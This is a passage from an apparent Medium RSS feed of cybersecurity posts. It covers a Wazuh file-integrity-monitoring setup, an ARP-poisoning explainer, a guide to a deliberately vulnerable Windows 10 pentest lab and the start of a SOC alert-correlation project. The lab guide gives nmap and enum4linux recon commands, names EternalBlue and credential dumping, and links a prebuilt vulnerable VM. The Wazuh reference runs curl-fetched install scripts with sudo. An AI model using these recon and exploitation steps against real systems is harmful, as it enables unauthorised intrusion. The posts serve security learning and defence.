src="https://cdn-images-1.medium.com/max/1024/1*WQnJZvS5m86d_PZG5YCWow.png" /></figure><p><em>The raw events log — every single event timestamped to the millisecond. You can see the PAM login session events from sudo, the “Successful sudo to ROOT” event, and at the bottom, the FIM events: “Integrity checksum changed” (rule 550, level 7) and “File deleted” (rule 553, level 7).</em></p><h3>The FIM Dashboard</h3><p>The Integrity Monitoring module had its own dedicated dashboard:</p><p><strong>Most active users:</strong> root — 100% <em>(Makes sense — I used </em><em>sudo for everything, which runs as root)</em></p><p><strong>Actions breakdown:</strong></p><ul><li>Added: 66.67% — the touch command</li><li>Modified: 16.67% — the echo command</li><li>Deleted: 16.67% — the rm command</li></ul><p>Exactly 3 actions, split across 3 categories. The numbers matched perfectly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D_jUJ8u0W4sVD7_DoZjvUw.png" /></figure><p><em>The FIM Dashboard (Integrity Monitoring → Dashboard). Three panels at the bottom show exactly which files were added, modified, and deleted. You can see /etc/fim_test appearing in all three panels — the complete lifecycle of the file I created, modified, and deleted during the test.</em></p><h3>The FIM Events Log — The Proof</h3><p>This was the most satisfying screen of the entire project:</p><p>Time File Action Rule Description Level 21:12:23 /etc/fim_test <strong>deleted</strong> File deleted 553 (Level 7) 21:12:23 /etc/fim_test <strong>modified</strong> Integrity checksum changed 550 (Level 7) 21:12:23 /etc/fim_test <strong>added</strong> File added to the system 554 (Level 5) 21:07:34 /etc/systemd/system/multi-user.target… modified Integrity checksum changed 550 (Level 7) 21:06:32 /etc/systemd/system/snap.amazon-ss… added File added to the system 554 (Level 5)</p><p>Three rows. One for each of my commands. All three were captured at 21:12:23 — the same second I ran them.</p><p>That’s real-time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BuaOx9Gms9kFcQx9yR3SSg.png" /></figure><p><em>The FIM Events log (Integrity Monitoring → Events) with 12 total hits. The first three rows are /etc/fim_test — deleted, modified, and added — all at exactly 21:12:23. Below those are systemd service file changes triggered by snap package activity running in the background. Every event shows the file path, event type, rule description, severity level, and rule ID.</em></p><h3>Bonus: What MITRE ATT&amp;CK Said About My “Attack”</h3><p>Wazuh automatically maps every alert to the <strong>MITRE ATT&amp;CK framework</strong> — a globally recognized knowledge base of attacker tactics and techniques.</p><p>Here’s what my three simple commands triggered:</p><p>Tactic Events What Caused It Defense Evasion 14 File manipulation in /etc Privilege Escalation 12 Using sudo to run as root Lateral Movement 11 SSH connection attempts Credential Access 10 Failed SSH auth attempts Initial Access 9 SSH session establishment</p><p>Five MITRE ATT&amp;CK tactics. From three commands in a terminal. In a real environment, this kind of mapping helps a security analyst understand what an attacker is trying to accomplish — not just what they did, but <em>why</em> they did it.</p><h3>The SCA Compliance Score</h3><p>As a bonus, Wazuh automatically ran a <strong>Security Configuration Assessment</strong> (SCA) — a check of the server against the CIS Ubuntu 22.04 LTS Benchmark, which is a published set of security best practices.</p><pre>Passed:           79 checks  ✅<br>Failed:          102 checks  ❌<br>Not Applicable:    1 check   —<br>Overall Score:    43%</pre><p>43% sounds low. And it is, but that’s what a default, unconfigured EC2 instance looks like before any hardening. The 102 failed checks are essentially a prioritized to-do list for making the server more secure. Wazuh tells you exactly what each check is and how to fix it.</p><h3>Every Problem I Hit, and Exactly How I Fixed It</h3><h3>Problem 1: Agent shows “Unknown” or “Never connected” after every restart</h3><p><strong>What I saw:</strong> After stopping and starting EC2 instances, the agent appeared disconnected in the dashboard with no events flowing.</p><p><strong>Why it happened:</strong> AWS assigns a new public IP every time an EC2 instance is stopped and restarted. The agent’s config still pointed to the old IP, which now belonged to someone else.</p><p><strong>How I fixed it:</strong> Allocated an <strong>Elastic IP</strong> from AWS and attached it permanently to the Wazuh-Manager instance. Updated the agent config once with this fixed IP. Never had the problem again.</p><h3>Problem 2: FIM alerts only show up minutes after a change</h3><p><strong>What I saw:</strong> I created a file and had to wait before seeing it in the dashboard.</p><p><strong>Why it happened:</strong> Without realtime=&quot;yes&quot;, Wazuh&#39;s syscheck module scans on a timer. Files changed between scans are only detected at the next scheduled scan.</p><p><strong>How I fixed it:</strong> Added realtime=&quot;yes&quot; to the &lt;directories&gt; tag in ossec.conf on the manager. This switches from polling to Linux&#39;s inotify event system, which fires the moment a file is touched.</p><h3>Problem 3: FIM alerts showed what changed, but not who changed it</h3><p><strong>What I saw:</strong> The dashboard showed the file path and event type, but no user information.</p><p><strong>Why it happened:</strong> whodata requires the Linux Audit Daemon (auditd) to be running on the agent. Without it, there&#39;s no source for user and process information — Wazuh has nothing to attach.</p><p><strong>How I fixed it:</strong> Installed and enabled auditd on Agent-one:</p><pre>sudo apt install auditd -y<br>sudo systemctl enable --now auditd</pre><p>After restarting the agent, user information started appearing in every FIM alert.</p><h3>Problem 4: Too many noisy alerts from log files</h3><p><strong>What I saw:</strong> Hundreds of FIM alerts per hour for /var/log/syslog and other log files constantly being written to.</p><p><strong>Why it happened:</strong> Log files are updated constantly — every time any service writes a log, syscheck detects a file change. Monitoring them creates enormous noise with no security value.</p><p><strong>How I fixed it:</strong> Added ignore rules to the syscheck config:</p><pre>&lt;ignore&gt;/var/log&lt;/ignore&gt;<br>&lt;ignore type=&quot;sregex&quot;&gt;.log$|.swp$&lt;/ignore&gt;</pre><p>This tells Wazuh to skip all log files and Vim swap files. Noise dropped dramatically.</p><h3>Problem 5: Dashboard shows “Not secure” in the browser</h3><p><strong>What I saw:</strong> A browser warning about an invalid SSL certificate every time I opened the dashboard.</p><p><strong>Why it happened:</strong> Wazuh generates its own self-signed SSL certificate during installation. Browsers don’t trust self-signed certificates because anyone can create one.</p><p><strong>How I fixed it:</strong> For a lab, I clicked “Advanced → Proceed to site.” For a production setup, the right answer is to replace the self-signed cert with one from Let’s Encrypt using Certbot.</p><h3>How the Three Technologies Connect: The Full Picture</h3><p>Here’s the part that took me the longest to fully understand. Let me break it down as simply as possible.</p><p>When I ran sudo touch /etc/fim_test, Here&#39;s everything that happened behind the scenes:</p><pre>You type: sudo touch /etc/fim_test<br>              │<br>              ▼<br>    ┌─────────────────────────────────────┐<br>    │           Linux Kernel              │<br>    │                                     │<br>    │  inotify says:                      │<br>    │  &quot;A file in /etc was just created&quot;  │<br>    │                                     │<br>    │  auditd says:                       │<br>    │  &quot;User: root | Process: bash        │<br>    │   Command: touch | PID: 4821&quot;       │<br>    └──────────────┬──────────────────────┘<br>                   │<br>                   ▼<br>    ┌─────────────────────────────────────┐<br>    │         Wazuh Agent                 │<br>    │                                     │<br>    │  syscheck receives the inotify      │<br>    │  event: /etc/fim_test was added     │<br>    │                                     │<br>    │  whodata fetches from auditd:       │<br>    │  user=root, process=bash            │<br>    │                                     │<br>    │  Combines them into one alert       │<br>    └──────────────┬──────────────────────┘<br>                   │  encrypted, over port 1514<br>                   ▼<br>    ┌─────────────────────────────────────┐<br>    │         Wazuh Manager               │<br>    │                                     │<br>    │  Rule engine: matches rule 554      │<br>    │  &quot;File added to the system&quot;         │<br>    │  Level: 5                           │<br>    │  MITRE: Initial Access              │<br>    └──────────────┬──────────────────────┘<br>                   │<br>                   ▼<br>    ┌─────────────────────────────────────┐<br>    │  Dashboard shows:                   │<br>    │  /etc/fim_test | added | root       │<br>    │  bash | 21:12:23                    │<br>    └─────────────────────────────────────┘</pre><p>Three technologies, each playing a distinct role:</p><ul><li><strong>syscheck</strong> sees <em>what</em> changed</li><li><strong>Inotify</strong> makes it <em>instant,</em></li><li><strong>auditd</strong> answers <em>who did</em></li><li><strong>what data</strong> is the connector that brings auditd’s answer into syscheck’s alert</li></ul><p>Remove any one of these, and you lose part of the picture.</p><h3>What I Have Now</h3><p>After all of this, here’s the complete working system:</p><p><strong>Wazuh Manager</strong> — running permanently at https://65.1.25.91 with an Elastic IP that survives every restart.</p><p><strong>Agent-one</strong> — a t3.micro Ubuntu 22.04 instance, enrolled and active as Agent ID 001, reporting in real time.</p><p><strong>Real-time FIM</strong> — the moment any file in /etc changes, an alert hits the dashboard. Tested and confirmed.</p><p><strong>whodata</strong> — every alert includes the user who made the change and the process they used, powered by auditd.</p><p><strong>226 security events</strong> captured in the first 24 hours — including my SSH simulation (10 failures, 9 successes) and my FIM test (all three file events captured instantly).</p><p><strong>MITRE ATT&amp;CK mapping</strong> automatically applied to every alert — my three test commands triggered five different tactics.</p><p><strong>SCA baseline</strong> — 43% compliance on CIS Ubuntu 22.04 Benchmark. Every failed check is a specific, actionable improvement.</p><h3>Everything in One Place: The Full Command Reference</h3><pre># ─── MANAGER SETUP ──────────────────────────────────────────<br>sudo apt update &amp;&amp; sudo apt upgrade -y<br>sudo apt install curl apt-transport-https unzip wget -y</pre><pre>curl -sO <a href="https://packages.wazuh.com/4.7/wazuh-install.sh">https://packages.wazuh.com/4.7/wazuh-install.sh</a><br>chmod +x wazuh-install.sh<br>sudo ./wazuh-install.sh -a         # All-in-one install</pre><pre># Check all three services are running<br>sudo systemctl status wazuh-manager wazuh-indexer wazuh-dashboard</pre><pre># ─── AGENT SETUP ────────────────────────────────────────────<br>curl -sO <a href="https://packages.wazuh.com/4.x/wazuh-agent.sh">https://packages.wazuh.com/4.x/wazuh-agent.sh</a><br>sudo bash wazuh-agent.sh</pre><pre># Point agent to manager (use Elastic IP!)<br>sudo nano /var/ossec/etc/ossec.conf<br># Set: &lt;address&gt;YOUR_ELASTIC_IP&lt;/address&gt;</pre><pre>sudo systemctl enable wazuh-agent<br>sudo systemctl start wazuh-agent</pre><pre># ─── REAL-TIME FIM + WHODATA ────────────────────────────────<br># On the manager — update ossec.conf syscheck section, then:<br>sudo systemctl restart wazuh-manager</pre><pre># On the agent — install auditd for whodata:<br>sudo apt install auditd -y<br>sudo systemctl enable --now auditd<br>sudo systemctl restart wazuh-agent</pre><pre># ─── VERIFY EVERYTHING ──────────────────────────────────────<br># On agent:<br>sudo systemctl status wazuh-agent     # active (running) ✅<br>sudo systemctl status auditd           # active (running) ✅</pre><pre># On manager:<br>sudo /var/ossec/bin/agent_control -l   # Agent-one → Active ✅</pre><pre># ─── TEST YOUR FIM ──────────────────────────────────────────<br>sudo touch /etc/fim_test<br>echo &quot;backdoor&quot; | sudo tee -a /etc/fim_test<br>sudo rm /etc/fim_test</pre><pre># Then in the dashboard:<br># Integrity Monitoring → Events<br># Filter: rule.groups: syscheck<br># You should see 3 events appear within seconds</pre><h3>Final Thoughts</h3><p>The technical setup here isn’t complicated. Wazuh’s installer does most of the heavy lifting. The configuration changes for FIM and whodata are about 20 lines of XML.</p><p>What took me the most time wasn’t the security software. It was understanding how AWS infrastructure behaves — specifically, how public IPs change on restart and why that breaks things silently. Once I understood that and applied the Elastic IP fix, everything else fell into place.</p><p>If you’re learning cloud security, DevSecOps, or just want to understand how real monitoring systems work, I genuinely recommend building this. Not watching someone else build it on YouTube. Actually building it yourself, making mistakes, and fixing them.</p><p>That’s where the real learning is.</p><p>If you have questions about any step, drop a comment below. I check them.</p><p>And if this saved you the hours I spent figuring it out, a clap would mean a lot. 🙏</p><p><em>Written April 2026 · AWS ap-south-1 · Ubuntu 22.04 LTS · Wazuh v4.7.5</em></p><p><em>Topics: Wazuh SIEM · AWS EC2 · Elastic IP · File Integrity Monitoring · auditd · whodata · Ubuntu security · Real-time monitoring · MITRE ATT&amp;CK · SCA compliance · Cloud security lab</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b491ef570622" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ARP Poisoning]]></title>
            <link>https://medium.com/@nikhilshakya0905/arp-poisoning-3f414400f022?source=rss-c82c46aa41ad------2</link>
            <guid isPermaLink="false">https://medium.com/p/3f414400f022</guid>
            <category><![CDATA[spoofing]]></category>
            <category><![CDATA[arp-protocol]]></category>
            <category><![CDATA[networking]]></category>
            <category><![CDATA[arp-spoofing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Nikhil Shakya]]></dc:creator>
            <pubDate>Sun, 05 Apr 2026 19:48:50 GMT</pubDate>
            <atom:updated>2026-04-05T19:48:50.492Z</atom:updated>
            <content:encoded><![CDATA[<ul><li><strong>ARP Poisoning (ARP Spoofing)</strong> is a network attack used mainly in <strong>Man-in-the-Middle (MITM)</strong> scenarios to intercept, modify, or block traffic within a local network (LAN).</li><li>ARP Poisoning = <strong>Manipulating ARP tables to redirect Layer 2 traffic through the attacker → enabling MITM</strong></li><li>Used ettercap tool in Kali to perform this poisoning attack</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bOI0a5sX8SZluBRVKTekqA.png" /></figure><h3>Attack Map (Step-by-Step Flow)</h3><pre>Step 1: Recon<br>Attacker scans network (find IPs)</pre><pre>Step 2: Poison<br>Send fake ARP replies continuously</pre><pre>Step 3: Intercept<br>Traffic flows through attacker</pre><pre>Step 4: Exploit<br>- Sniff passwords<br>- Hijack sessions<br>- Inject payloads</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8DkSRBWrA10u-hVpi9sqIA.png" /></figure><h3>Real Mental Model (Remember This)</h3><ul><li>You don’t become the victim — you convince everyone that <strong>you are the path to the victim,</strong> so the traffic flows to you… And then u forward it to the victim accordingly</li><li><strong>IP-to-MAC mapping manipulation</strong>, NOT MAC address duplication</li></ul><p>Think of it like:</p><blockquote><em>📦 You want to send a package to your bank</em></blockquote><blockquote><em>🧑‍💻 Attacker tells you: “I AM the bank”</em></blockquote><blockquote><em>📦 You send it → attacker opens → forwards it</em></blockquote><p>👉 That’s ARP poisoning.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3f414400f022" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[I Built a Hacking Lab on My PC. Here’s How You Can Too.]]></title>
            <link>https://medium.com/@nikhilshakya0905/i-built-a-hacking-lab-on-my-pc-heres-how-you-can-too-d81c2e37222e?source=rss-c82c46aa41ad------2</link>
            <guid isPermaLink="false">https://medium.com/p/d81c2e37222e</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[homelab]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[kali-linux]]></category>
            <dc:creator><![CDATA[Nikhil Shakya]]></dc:creator>
            <pubDate>Tue, 24 Mar 2026 20:15:35 GMT</pubDate>
            <atom:updated>2026-03-24T20:15:35.011Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5f9o98Kp88VNlDnb61WfnA.png" /></figure><p>Platforms like HackTheBox and TryHackMe are great. Seriously. But at some point, you start wondering, what would it look like if I built the environment myself? What if I controlled every single vulnerability, every misconfiguration, every service running on the box?</p><p>That curiosity is what pushed me to build my own lab. And it turned out to be one of the best decisions I made for my pentesting journey.</p><p>Here’s exactly how I did it, and how you can too.</p><h3>What Even Is a Pentest Lab?</h3><p>Think of it as a <strong>fake company network that lives on your PC</strong>, one you have full permission to attack, break, and experiment on.</p><p>Two virtual machines. One isolated network. Zero consequences.</p><pre>Your PC<br>├── Kali Linux   →  The Attacker  (10.10.10.50)<br>└── Windows 10   →  The Target    (10.10.10.100)</pre><p>The keyword: <strong>isolated.</strong> This network does not connect to the internet. What happens in the lab stays in the lab.</p><h3>Why Not Just Use HackTheBox or TryHackMe?</h3><p>You should use those too. But a home lab hits different because:</p><ul><li><strong>You built the vulnerabilities,</strong> so you understand <em>why</em> things break</li><li><strong>Always available</strong> with no internet, no downtime, no queue</li><li><strong>No limits,</strong> so run 10 tools at once, crash the machine, who cares</li><li><strong>Free after setup</strong> with no subscriptions</li></ul><p>HackTheBox teaches you to solve puzzles. A home lab teaches you to <em>think</em>.</p><h3>What You Need (Less Than You Think)</h3><p><strong>Hardware</strong></p><ul><li>Any PC with 8–16GB RAM</li><li>100GB free disk space</li></ul><p><strong>Hypervisor (I used KVM/QEMU)</strong></p><p>I ran this on Linux using KVM/QEMU as my hypervisor. It’s free, fast, and handles both VMs without breaking a sweat. If you’re on Windows or macOS, VirtualBox works just as well, and the setup is nearly identical.</p><pre># Install KVM on Ubuntu/Debian<br>sudo apt install qemu-kvm libvirt-daemon-system virt-manager</pre><pre># Launch the VM manager (GUI)<br>virt-manager</pre><p><strong>Software (all free)</strong></p><ul><li>Kali Linux ISO (kali.org)</li><li>Windows 10 ISO (Microsoft’s media creation tool)</li></ul><p>That’s it to start.</p><h3>Making Windows 10 Actually Vulnerable</h3><p>A fresh Windows install won’t teach you much. You need to <em>intentionally wreck it.</em></p><p>Here’s what I configured on mine:</p><p><strong>Security, all disabled:</strong></p><ul><li>Windows Defender ❌</li><li>Windows Firewall ❌</li><li>UAC ❌</li><li>Windows Updates ❌</li></ul><p><strong>Services, all running with weak credentials:</strong></p><p>Service Port Why It’s Useful SMBv1 445 Practice EternalBlue (MS17–010) RDP 3389 Remote access with weak passwords SSH 22 Credential-based login practice FTP 21 Anonymous login, enumeration MySQL 3306 SQL injection + no root password VNC 5900 Weak password brute forcing WinRM 5985 PowerShell remoting practice</p><p><strong>Web apps, intentionally broken:</strong></p><ul><li><strong>DVWA</strong> covers SQLi, XSS, file upload, and command injection</li><li><strong>Mutillidae</strong> has 70+ OWASP-based vulnerabilities</li><li><strong>bWAPP</strong> has 100+ bugs across every category</li></ul><p>Install all three via XAMPP. They run locally on port 8080.</p><h3>The Thing HTB and THM Can’t Give You: Your Own Difficulty Dial</h3><p>This is honestly the biggest advantage of a home lab that nobody talks about.</p><p>On HackTheBox, the difficulty is fixed. Someone else decided how hard the box is. You either clear it, or you don’t.</p><p>In your own lab? <strong>You control the difficulty. Completely.</strong></p><p>Start with everything wide open, anonymous FTP, blank MySQL root password, SMBv1 running, Defender off. Getting a shell should feel almost too easy. That’s the point. You’re building muscle memory, not fighting the machine.</p><p>Then start tightening things, one step at a time:</p><pre>Level 1 &gt;&gt; Everything exposed, credentials in plaintext, no AV<br>Level 2 &gt;&gt; Enable basic firewall rules, remove the easy web shell<br>Level 3 &gt;&gt; Strong passwords, patch some services, enable Defender<br>Level 4 &gt;&gt; NLA on RDP, SMBv1 disabled, proper access controls<br>Level 5 &gt;&gt; Fully hardened, now breaking in actually feels hard</pre><p>Each level teaches you something different. Level 1 is about learning the tools. Level 3 is about working around defenses. Level 5 is where you start thinking like someone who actually does this for a living.</p><p><strong>The snapshot trick that makes this work:</strong></p><p>Take a KVM snapshot at each difficulty level and name them clearly.</p><pre># Save each difficulty level as its own snapshot<br>virsh snapshot-create-as win10-lab &quot;level-1-easy&quot;<br>virsh snapshot-create-as win10-lab &quot;level-3-medium&quot;<br>virsh snapshot-create-as win10-lab &quot;level-5-hardened&quot;</pre><pre># Jump between them instantly<br>virsh snapshot-revert win10-lab &quot;level-3-medium&quot;</pre><p>Now you can switch between them in seconds. Had a rough session and want a confidence boost? Load Level 1. Feeling sharp? Load Level 5. Preparing for the OSCP exam week? Live on Level 4 and 5 for a month.</p><p>No platform gives you this. You can’t ring up HTB and ask them to make the box easier today.</p><h3>The Learning Path I Followed</h3><p>Don’t just open Metasploit and start clicking. Structure matters.</p><p><strong>Week 1–2 &gt;&gt; Reconnaissance</strong> Run nmap. Enumerate every service. List SMB shares. Find web directories. Learn what’s there before you touch anything.</p><pre>nmap -sV -sC 10.10.10.100<br>enum4linux -a 10.10.10.100</pre><p><strong>Week 3–4 &gt;&gt; Getting In:</strong> Try every entry point. SSH with credentials. RDP. The web shell. Then the big one, EternalBlue via Metasploit. When you pop a SYSTEM shell from a single network vulnerability with zero credentials, something clicks.</p><p><strong>Week 5–6 &gt;&gt; What Happens After</strong> This is where most tutorials stop. Don’t stop here. Practice dumping credentials, reading the file system, setting up persistence, and pivoting. Post-exploitation is half the job.</p><p><strong>Week 7+ &gt;&gt; Web App Deep Dive:</strong> Go through the DVWA module by module. SQL injection manually first, then SQLMap. Command injection. File upload bypasses. LFI. Do it at “Low” security, then crank it up.</p><h3>One Thing That’ll Save You Hours</h3><p><strong>Take VM snapshots. Every time.</strong></p><p>Before a session &gt;&gt; snapshot. About to try something risky &gt;&gt; snapshot. Just got a clean SYSTEM shell &gt;&gt; snapshot.</p><p>You <em>will</em> break things. With KVM, a snapshot means you’re back to clean in 10 seconds, not 2 hours.</p><pre># Save state<br>virsh snapshot-create-as win10-lab &quot;clean-state&quot;</pre><pre># Roll back instantly<br>virsh snapshot-revert win10-lab &quot;clean-state&quot;</pre><h3>Download My Pre-Built Lab (Skip the Setup)</h3><p>Don’t want to configure everything from scratch? I’ve got you covered.</p><p>I’ve uploaded my complete vulnerable Windows 10 VM to Google Drive — fully configured with all services, web apps, and misconfigurations already in place.</p><p><strong>Download it here:</strong> <a href="https://drive.google.com/file/d/1UIWae10k5BSMQ0P-OAuISBrvoBrqbvpf/view?usp=sharing">ExploitableWIN10.qcow2 on Google Drive</a></p><h3>Using it on KVM/QEMU (Linux)</h3><p>If you’re on Linux with KVM, it works out of the box. Just import it directly into virt-manager or point to it via the terminal.</p><h3>Converting to VMDK for VirtualBox (Windows/macOS/Linux)</h3><p>The image is in .qcow2 format, which KVM uses natively. VirtualBox needs .vmdk. Converting takes one command using qemu-img, which comes bundled with QEMU tools.</p><p><strong>Step 1 — Install qemu-img</strong></p><p>bash</p><pre># Ubuntu/Debian<br>sudo apt install qemu-utils</pre><pre># macOS (Homebrew)<br>brew install qemu</pre><pre># Windows — download QEMU installer from qemu.org</pre><p><strong>Step 2 — Convert the image</strong></p><p>bash</p><pre>qemu-img convert -f qcow2 -O vmdk ExploitableWIN10.qcow2 ExploitableWIN10.vmdk</pre><p><strong>Step 3 — Import into VirtualBox</strong></p><ol><li>Open VirtualBox and click “New”</li><li>Name it (e.g. ExploitableWIN10), set type to Windows 10 64-bit</li><li>On the hard disk step, choose “Use an existing virtual hard disk file”</li><li>Select the converted ExploitableWIN10.vmdk</li><li>Before starting, go to Settings → Network and set the adapter to “Host-only” or “Internal Network” — this keeps it isolated</li></ol><blockquote><strong><em>One rule, non-negotiable:</em></strong><em> keep this VM on an isolated network only. Never bridge it to your real network or the internet. It is deliberately wide open and will be compromised within seconds if exposed.</em></blockquote><h3>The Honest Truth About This</h3><p>Building the lab took me a weekend. <em>Using</em> it is where the months went.</p><p>There’s a huge difference between knowing EternalBlue exists and actually watching Metasploit hand you a SYSTEM shell on a machine you configured yourself. The second one sticks.</p><p>What really changed things for me wasn’t the easy wins at Level 1. It was getting completely stuck at Level 4, firewall on, NLA enforced, no low-hanging fruit, and having actually to think. That’s the gap between “I’ve done some CTFs” and “I can actually pentest.”</p><p>No course teaches that. You learn it by hitting a wall you built yourself and figuring out how to get through it anyway.</p><p>If you’re serious about OSCP, stop waiting for the perfect resource. Spin up two VMs on KVM or VirtualBox, wreck one of them, and start poking. Build the difficulty up gradually. Snapshot everything.</p><p>The lab doesn’t need to be perfect. It just needs to exist.</p><p><em>Got questions about KVM setup, specific services, or configuring a difficulty level? Drop them below.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d81c2e37222e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[I Spent a Month Building an AI-Assisted SOC Platform From Scratch]]></title>
            <link>https://medium.com/@nikhilshakya0905/i-spent-a-month-building-an-ai-assisted-soc-platform-from-scratch-9dcd1a45ae3b?source=rss-c82c46aa41ad------2</link>
            <guid isPermaLink="false">https://medium.com/p/9dcd1a45ae3b</guid>
            <category><![CDATA[soc]]></category>
            <category><![CDATA[splunk-enterprise]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Nikhil Shakya]]></dc:creator>
            <pubDate>Tue, 10 Mar 2026 13:06:16 GMT</pubDate>
            <atom:updated>2026-03-10T13:06:16.753Z</atom:updated>
            <content:encoded><![CDATA[<h3>And It Completely Changed How I Think About Cybersecurity</h3><p>Most cybersecurity projects look impressive on the surface.</p><p>They collect logs.<br>They show a dashboard.<br>Maybe they detect something.</p><p>But once you dig deeper, many of them stop there.</p><p>No correlation.<br>No attack chains.<br>No incident intelligence.</p><p>Just alerts.</p><p>And in a real SOC, <strong>alerts alone are almost useless</strong>.</p><h3>The Problem That Started This Project</h3><p>I’m a B.Tech cybersecurity student, and like many others, I had already worked with tools like:</p><ul><li>Splunk</li><li>SIEM dashboards</li><li>Vulnerability scanners</li><li>Detection rules</li></ul><p>But something always bothered me.</p><p>A real SOC analyst doesn’t work with <strong>single alerts</strong>.</p><p>They work with <strong>incidents</strong>.</p><p>And incidents are rarely one event.</p><p>They are <strong>attack stories</strong>.</p><p>Something like this:</p><p>Password spraying<br>→ Kerberoasting<br>→ Privilege escalation<br>→ Persistence</p><p>Individually, these events might look harmless.</p><p>Together, they mean <strong>someone just compromised your domain</strong>.</p><p>That idea led me to build <strong>InsightOps</strong>.</p><h3>What InsightOps Actually Is</h3><p>InsightOps is an <strong>AI-assisted SOC intelligence engine</strong> that sits on top of Splunk.</p><p>Instead of just showing alerts, it:</p><ul><li>correlates them</li><li>scores them</li><li>explains them</li><li>and turns them into structured incidents</li></ul><p>No ML hype.<br>No black-box models.</p><p>Just <strong>deterministic logic that analysts can actually trust</strong>.</p><h3>How This Project Actually Happened</h3><p>There was no “weekend hackathon build”.</p><p>This project took <strong>about a month</strong>.</p><p>And most of that time wasn’t coding.</p><h3>Phase 1 — Learning the Fundamentals (2+ weeks)</h3><p>Before writing any code, I spent over two weeks just learning the basics properly.</p><p>Things like:</p><ul><li>How SOC workflows actually operate</li><li>How Active Directory attacks work</li><li>How Splunk detections are designed</li><li>How detection engineering works in real teams</li></ul><p>A lot of this phase was just <strong>reading, labbing, and breaking things repeatedly</strong>.</p><h3>Phase 2 — Building a Real SOC Lab (3–4 days)</h3><p>Once I understood the theory, I built a <strong>virtual SOC lab</strong>.</p><p>The environment looked like this:</p><pre>Fedora (Splunk + AI Engine)<br>Windows Server 2019 (Domain Controller)<br>Windows 10 Client<br>Ubuntu Domain Client<br>Kali Linux Attacker</pre><p>Everything lived inside a <strong>10.10.10.0/24 lab network</strong>.</p><p>This allowed me to simulate real attacks while collecting logs in Splunk.</p><h3>Phase 3 — Building the Intelligence Engine (1 week)</h3><p>The core of InsightOps is a <strong>Python-based pipeline</strong>.</p><p>It processes security alerts in six stages.</p><pre>Signal Health → Fetch Alerts → Risk Score<br>        ↓<br>Correlate → Bonus Engine → Explain</pre><p>Each stage adds intelligence.</p><h3>Signal Health</h3><p>Before doing anything else, the system checks whether logs are flowing evenly.</p><p>Because here’s the uncomfortable truth:</p><p>A SOC can fail silently.</p><p>If logs stop and nobody notices, <strong>the SOC becomes blind</strong>.</p><h3>Alert Ingestion</h3><p>InsightOps connects to Splunk using the REST API and retrieves fired alerts.</p><p>These include detections like:</p><ul><li>Password spraying</li><li>Kerberoasting</li><li>Lateral movement</li><li>Credential dumping</li><li>Privilege escalation</li><li>Persistence</li><li>Ransomware pre-impact behaviors</li></ul><h3>Risk Scoring</h3><p>Every alert gets a score between <strong>0 and 100</strong>.</p><p>The score depends on things like:</p><ul><li>severity</li><li>host criticality</li><li>user privilege</li><li>frequency</li></ul><p>The scoring model is <strong>fully deterministic</strong>.</p><p>No ML.</p><p>No probability.</p><p>Every score can be explained.</p><h3>Alert Correlation</h3><p>This is where the system becomes interesting.</p><p>Alerts are grouped into <strong>incidents</strong> based on:</p><ul><li>user</li><li>host</li><li>time window</li></ul><p>If multiple related alerts occur within <strong>30 minutes</strong>, they get merged into a single attack chain.</p><h3>Attack Chain Bonuses</h3><p>If the system detects patterns like:</p><p>Password spraying<br>→ Kerberoasting<br>→ Privilege escalation<br>→ Persistence</p><p>It boosts the risk score significantly.</p><p>Because that sequence is not random noise.</p><p>That’s <strong>an attacker progressing through the kill chain</strong>.</p><h3>Explainability Layer</h3><p>Finally, the system generates:</p><ul><li>MITRE ATT&amp;CK mappings</li><li>plain-English summaries</li><li>investigation steps for analysts</li></ul><p>The final incident gets pushed back into Splunk using <strong>HEC</strong>.</p><h3>The Web Interface</h3><p>I also built a small <strong>Flask web interface</strong> to monitor the pipeline.</p><p>It allows you to:</p><ul><li>Run the pipeline</li><li>Perform dry runs</li><li>Watch execution in real time</li><li>Download logs</li></ul><p><a href="https://github.com/Nikhil0905/InsightOps/blob/master/docs/insightops_webpage_tour.webp">https://github.com/Nikhil0905/InsightOps/blob/master/docs/insightops_webpage_tour.webp</a></p><h3>SOC Dashboards</h3><p>The enriched incidents appear in two dashboards.</p><h3>Incident Triage</h3><p>This dashboard shows:</p><ul><li>incident ID</li><li>risk score</li><li>MITRE techniques</li><li>explanation</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u8e0f3gFm96WHhdkEcfITw.png" /></figure><h3>SOC Overview</h3><p>This one shows the big picture:</p><ul><li>total incidents</li><li>high-risk incidents</li><li>MITRE technique distribution</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yuRWjgINP0eWyDJBWMYxew.png" /></figure><h3>Attack Simulations</h3><p>To test the system, I ran several real attack scenarios inside the lab.</p><p>These included:</p><ul><li>password spraying</li><li>Kerberoasting</li><li>lateral movement</li><li>privilege escalation</li><li>persistence</li><li>credential dumping</li><li>ransomware pre-impact behaviors</li></ul><p>All attacks were launched from a <strong>Kali attacker machine</strong>.</p><h3>The Most Important Lesson</h3><p>The biggest thing I learned building this project wasn’t about detection rules.</p><p>It was this:</p><p><strong>SOC visibility is fragile.</strong></p><p>Logging failures can silently destroy your visibility.</p><p>And if your SOC can’t detect its own blindness, it’s already compromised operationally.</p><p>That’s why InsightOps includes a <strong>Signal Health Check</strong> as its first pipeline 